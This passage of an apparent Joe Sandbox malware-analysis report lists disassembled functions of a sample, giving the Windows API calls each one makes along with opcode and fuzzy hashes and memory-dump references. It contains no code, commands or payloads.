Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: ca7529efec5dd0261dfa50066d84bd69d1e7e49cb8db56b13543c2e1e2ea7c48
Instruction ID: 40d173e5158b41f47e16d46e50bc7579a6a149a65010d48e801b62e65f79e2b1
Opcode Fuzzy Hash: ca7529efec5dd0261dfa50066d84bd69d1e7e49cb8db56b13543c2e1e2ea7c48
Instruction Fuzzy Hash: 802194705097019F8700DF28D8814AE77E4EF5A358F205A1EF496EB2A1D730E94ACB93

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA1014: GetTokenInformation.ADVAPI32 ref: 00EA102A
Part of subcall function 00EA1014: GetLastError.KERNEL32 ref: 00EA1036
Part of subcall function 00EA1014: GetProcessHeap.KERNEL32 ref: 00EA1045
Part of subcall function 00EA1014: HeapAlloc.KERNEL32(00000000,?,00000003,?,00000000,?), ref: 00EA104C
Part of subcall function 00EA1014: GetTokenInformation.ADVAPI32 ref: 00EA1062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00EA15BE
_memcmp.LIBVCRUNTIME ref: 00EA15E1
GetProcessHeap.KERNEL32 ref: 00EA1617
HeapFree.KERNEL32(00000000), ref: 00EA161E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: dba0d55ccba0aaa211415d03495aa3ee3d0f557ea974e5f158b0ca3f21f72511
Instruction ID: a8581ba0c74e7e47cedb82923b4e3e9bff9cbd6b5fe0a3ad20cdd7a3b2490f82
Opcode Fuzzy Hash: dba0d55ccba0aaa211415d03495aa3ee3d0f557ea974e5f158b0ca3f21f72511
Instruction Fuzzy Hash: 15218931E41109EFDF00DFA4C945BEEB7B8EF89348F184499E441BB241E730AA49CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00ED280A
SetWindowLongW.USER32 ref: 00ED2824
SetWindowLongW.USER32 ref: 00ED2832
SetLayeredWindowAttributes.USER32 ref: 00ED2840

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 3dbd81b2739378c329c37e85c5c5b8f3a48459b842d55eceb68ebff4e460638d
Instruction ID: fc424cb0a44a6c89ea2019a5e362aa31ad4059bb799d4213c33426f16b4ba5b8
Opcode Fuzzy Hash: 3dbd81b2739378c329c37e85c5c5b8f3a48459b842d55eceb68ebff4e460638d
Instruction Fuzzy Hash: D6213335205111AFD7149B24D840FAA7B9AEF95324F24924EF526AB3E2C771FC43C790

Uniqueness

Uniqueness Score: -1.00%

Function 00EA78F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA8D7D: lstrlenW.KERNEL32 ref: 00EA8D8C
Part of subcall function 00EA8D7D: lstrcpyW.KERNEL32(00000000,?), ref: 00EA8DB2
Part of subcall function 00EA8D7D: lstrcmpiW.KERNEL32 ref: 00EA8DE3

lstrlenW.KERNEL32 ref: 00EA7923
lstrcpyW.KERNEL32(00000000,?), ref: 00EA7949
lstrcmpiW.KERNEL32 ref: 00EA7984

Strings

cdecl, xrefs: 00EA797B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: a4488862428b507721a39d3a53210cfd8174cb6c64ed36b7c920041820b20769
Instruction ID: 279e2aa856d7fc945494959a697949fcb21b8fe905f86b0adcddd466422e6562
Opcode Fuzzy Hash: a4488862428b507721a39d3a53210cfd8174cb6c64ed36b7c920041820b20769
Instruction Fuzzy Hash: 4411E43A201202AFCB159F35DC45D7B77E9EF8A394B10502BE982DB2A4EB31A811C791

Uniqueness

Uniqueness Score: -1.00%

Function 00ED5660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00ED56BB
_wcslen.LIBCMT ref: 00ED56CD
_wcslen.LIBCMT ref: 00ED56D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00ED5816

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 7d9cb05c3cb832c347efa68f8263423dd266ba43598b0bf44f5b77cf597a5089
Instruction ID: b7acd16da99bc6ebd977b3b96b9d3852be27e150291961c4a55df286e678c647
Opcode Fuzzy Hash: 7d9cb05c3cb832c347efa68f8263423dd266ba43598b0bf44f5b77cf597a5089
Instruction Fuzzy Hash: 98110A7264060996DB209F65DC81AFE37ACEF50764B10502BF926F6281E770C985CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00EAE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00EAE1FD
MessageBoxW.USER32 ref: 00EAE230
WaitForSingleObject.KERNEL32 ref: 00EAE246
CloseHandle.KERNEL32(00000000), ref: 00EAE24D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: daab476b080271b19e84f4b78fb21165fb82e7e694a57adb30fb0f96f2c8aea7
Instruction ID: cc0bad06e8bedfe9b91f018a894be50991c3ab03f2c24aa2224c502481f8a2e0
Opcode Fuzzy Hash: daab476b080271b19e84f4b78fb21165fb82e7e694a57adb30fb0f96f2c8aea7
Instruction Fuzzy Hash: 26110872905259BFC7019BA8AC09BDE7FACEB46354F108256F924F7391D270DD0487B0

Uniqueness

Uniqueness Score: -1.00%

Function 00E6D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00E6CFF9,00000000,00000004,00000000), ref: 00E6D218
GetLastError.KERNEL32 ref: 00E6D224
__dosmaperr.LIBCMT ref: 00E6D22B
ResumeThread.KERNEL32(00000000), ref: 00E6D249

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: b9713357dc2122f9a249756cdb567051a06fc89f159c10703d9309f5ddfc67f6
Instruction ID: 25677885a85a2323275547d7ea8a58aa67dfd9b2f949a518af8ae0217eabd9e0
Opcode Fuzzy Hash: b9713357dc2122f9a249756cdb567051a06fc89f159c10703d9309f5ddfc67f6
Instruction Fuzzy Hash: FF012636E8A204BBC7115BA5FC05BAA3BA9DF813B0F205219F924B20E0CB70C901C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00E4600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00E4604C
GetStockObject.GDI32 ref: 00E46060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00E4606A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: b5783e0ad905217875550319bbf3773a7ea60fdde8e1b1d815613e0f9b47a3e3
Instruction ID: 26ec6ad9f68e3d952e3173739283a7e85fe79b4d4a87dcdc620ab66ff31fcb3e
Opcode Fuzzy Hash: b5783e0ad905217875550319bbf3773a7ea60fdde8e1b1d815613e0f9b47a3e3
Instruction Fuzzy Hash: 7711C4B2502509BFEF224FA4EC44EEABB6DFF09395F101202FA1466010C732DC60DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EA7464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00EA747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00EA7497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00EA74AC
RegisterTypeLibForUser.OLEAUT32 ref: 00EA74CA

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 73cbb7f5b7c73d900c3724f7ff855f85503c0259e9532d6da9eee2723a46f5e2
Instruction ID: f7a3ad06131a26305a65de4f042a9f83841bd3fab32c458103c6da9a377d1b83
Opcode Fuzzy Hash: 73cbb7f5b7c73d900c3724f7ff855f85503c0259e9532d6da9eee2723a46f5e2
Instruction Fuzzy Hash: 6B11A1B12063119FE720CF14ED08BD27FFCEB09B44F10856AA6A6EA151D770F908DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EAB0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00EAACD3,?,00008000), ref: 00EAB0C4
Sleep.KERNEL32(00000000), ref: 00EAB0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00EAACD3,?,00008000), ref: 00EAB0F3
Sleep.KERNEL32(00000000), ref: 00EAB126

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: db4eac699b7c557d7d5379b3c93bcba3455a4bcbd9dbe1a281a4817f4fc5f85d
Instruction ID: 333d21db13c06685dd44166d9491f9d835b7f99c6eab77e5ba312c8bdac7f1fb
Opcode Fuzzy Hash: db4eac699b7c557d7d5379b3c93bcba3455a4bcbd9dbe1a281a4817f4fc5f85d
Instruction Fuzzy Hash: 20118B30C0252DEBCF04AFE5E9A86EEBB78FF1E311F105096D981B6282CB306650CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EA2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00EA2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA2DD6
GetCurrentThreadId.KERNEL32 ref: 00EA2DDD
AttachThreadInput.USER32(00000000,?,00000000), ref: 00EA2DE4

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 827055fed8b2548c5a5bb4220fa5203504b6e50d5d3464af7464e30e83e3556c
Instruction ID: 81001c7a6a29458d410d2c183386fd63c018ddbca9a45d26b4b5b471622a070f
Opcode Fuzzy Hash: 827055fed8b2548c5a5bb4220fa5203504b6e50d5d3464af7464e30e83e3556c
Instruction Fuzzy Hash: F9E06D711022257BDB201B67AC0DEEB3F6CEF47FA1F10101AB606F90819AA4D884C6B0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00E59639: ExtCreatePen.GDI32 ref: 00E59693
Part of subcall function 00E59639: SelectObject.GDI32 ref: 00E596A2
Part of subcall function 00E59639: BeginPath.GDI32 ref: 00E596B9
Part of subcall function 00E59639: SelectObject.GDI32 ref: 00E596E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00ED8887
LineTo.GDI32(?,?,?), ref: 00ED8894
EndPath.GDI32 ref: 00ED88A4
StrokePath.GDI32(?), ref: 00ED88B2

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 3d0c14fd00eb59fc1fff8cdb5bcbc90c7f6c9e2ae5db48f7d6bae67647f96211
Instruction ID: 135e4c0c619938c97b6be694ba8098f23fb721e73ff772a6e48790f53c55cf30
Opcode Fuzzy Hash: 3d0c14fd00eb59fc1fff8cdb5bcbc90c7f6c9e2ae5db48f7d6bae67647f96211
Instruction Fuzzy Hash: 1CF09A36002259FADB121F95AC09FCE3B69AF06310F508002FA11710E2C7B51515DBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00E598B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00E598CC
SetTextColor.GDI32(?,?), ref: 00E598D6
SetBkMode.GDI32 ref: 00E598E9
GetStockObject.GDI32 ref: 00E598F1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: b9b6f4387e5de3d0ff1cfc0aefef34a35ffebd8f815b4059762c6b01ff9f77ae
Instruction ID: d2ec47e0fc8a638f9833a677932d183443f589799a7b41c3affb7d25300d2a30
Opcode Fuzzy Hash: b9b6f4387e5de3d0ff1cfc0aefef34a35ffebd8f815b4059762c6b01ff9f77ae
Instruction Fuzzy Hash: F8E06531245251AEDF215B75BC09BD83F21EB11376F14821AF6F9640E1C3714648DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00EA162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00EA1634
OpenThreadToken.ADVAPI32 ref: 00EA163B
GetCurrentProcess.KERNEL32 ref: 00EA1648
OpenProcessToken.ADVAPI32 ref: 00EA164F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 024cfddb878e58993d49d6bc6d1b636aa0ab3c93b2e1259137531a040df79714
Instruction ID: a0776455a6acb6ca12f7a12047889efb78c4d13742cfebd2696ccd48d49421bd
Opcode Fuzzy Hash: 024cfddb878e58993d49d6bc6d1b636aa0ab3c93b2e1259137531a040df79714
Instruction Fuzzy Hash: 4CE04F316022129FD7201BA2AE0DB463B68EF457E5F244849F245E9090E6245449C750

Uniqueness

Uniqueness Score: -1.00%

Function 00E9D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00E9D858
GetDC.USER32(00000000), ref: 00E9D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E9D882
ReleaseDC.USER32(?), ref: 00E9D8A3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0ba61739e30bf54ddca0fd94e7f75f8560201a895a6ea3eb94bbaaadebc57e12
Instruction ID: ba4352ae397a10076e9d6489bbf4645241e754a13a9961ca606127c2e1bf5a3b
Opcode Fuzzy Hash: 0ba61739e30bf54ddca0fd94e7f75f8560201a895a6ea3eb94bbaaadebc57e12
Instruction Fuzzy Hash: 26E01AB0805206DFCF519FA1EC0866DBBF2FB08751F28A40AE816F7250C738890AEF40

Uniqueness

Uniqueness Score: -1.00%

Function 00E9D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00E9D86C
GetDC.USER32(00000000), ref: 00E9D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E9D882
ReleaseDC.USER32(?), ref: 00E9D8A3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 30260d566edd4a357adb12f796ef747985aa59350e96cf38c2f9f74232d18c27
Instruction ID: b75b238e1c4f6b84fc62bbbfc64e731d555d32cb06f5444c90130940517ea50b
Opcode Fuzzy Hash: 30260d566edd4a357adb12f796ef747985aa59350e96cf38c2f9f74232d18c27
Instruction Fuzzy Hash: 58E01A70801201DFCB509FA1E80866DBBF1FB08751B28940AE816F7250C738990ADF40

Uniqueness

Uniqueness Score: -1.00%

Function 00EB4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00E47620: _wcslen.LIBCMT ref: 00E47625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00EB4ED4

Strings

LPT, xrefs: 00EB4DFB
*, xrefs: 00EB4E10

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: a65b79be135a615da97c76e8b8430cd9da335fd9c41bf773d2a3d30ab4d4d514
Instruction ID: cfd71b008700ca13c39de1f7ec06447231271cfcd75a61f94c1e6ed5c412b3f2
Opcode Fuzzy Hash: a65b79be135a615da97c76e8b8430cd9da335fd9c41bf773d2a3d30ab4d4d514
Instruction Fuzzy Hash: F69142B5A002149FCB14DF54C484EEABBF5BF44308F19A099E84AAF3A2D735ED45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E6E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00E6E30D

Strings

pow, xrefs: 00E6E2E5, 00E6E302

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 0e9a6a809e343a3e576b98a7430d99e2fc954301ad1a78fe3f0644f21c9dbb12
Instruction ID: f9bb4e9889ae3215ea856af48b9e51222afadd59f3abe0f9cefab0bd3f86cf17
